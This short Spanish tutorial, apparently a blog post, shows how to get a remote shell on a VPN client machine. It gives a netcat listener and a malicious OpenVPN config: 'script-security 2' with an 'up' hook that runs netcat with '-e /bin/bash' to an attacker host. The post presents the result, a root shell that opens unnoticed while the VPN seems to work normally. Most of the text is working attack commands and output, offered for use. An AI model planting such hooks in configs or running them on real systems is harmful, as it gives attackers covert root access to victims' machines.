En esta ocasión aprenderemos como conseguir una shell en un equipo remoto que actúe como cliente vpn, para ello nos valdremos de la posibilidad de ejecutar comandos justo después de arrancar la vpn. Por supuesto el cliente debe fiarse completamente de nosotros o haber conseguido de algún modo modificar su config de vpn, lo mejor de este ataque es que todo parecerá funcionar con normalidad mientras en background se establece la conexión.
Ponemos a la escucha nuestro netcat donde recibiremos la conexión reversa:
KettleBell ✺ ~> nc -l -p 7777
Configuramos el fichero de vpn para que ejecute un script al arrancar:
vi client.ovpn
script-security 2
up "/usr/bin/nc X.X.X.X 7777 -e /bin/bash"
La victima arranca la vpn:
DirtyCow ~ # openvpn –config client.ovpn
En el terminal de netcat obtenemos una bonita shell:
KettleBell ✺ ~> nc -l -p 7777
id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),26(tape),27(video)
uname -a
Linux DirtyCow 4.9.95-gentoo-kr0m-ipv6-YAMA #1 SMP PREEMPT Wed Apr 25 10:22:48 CEST 2018 x86_64 Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz GenuineIntel GNU/Linux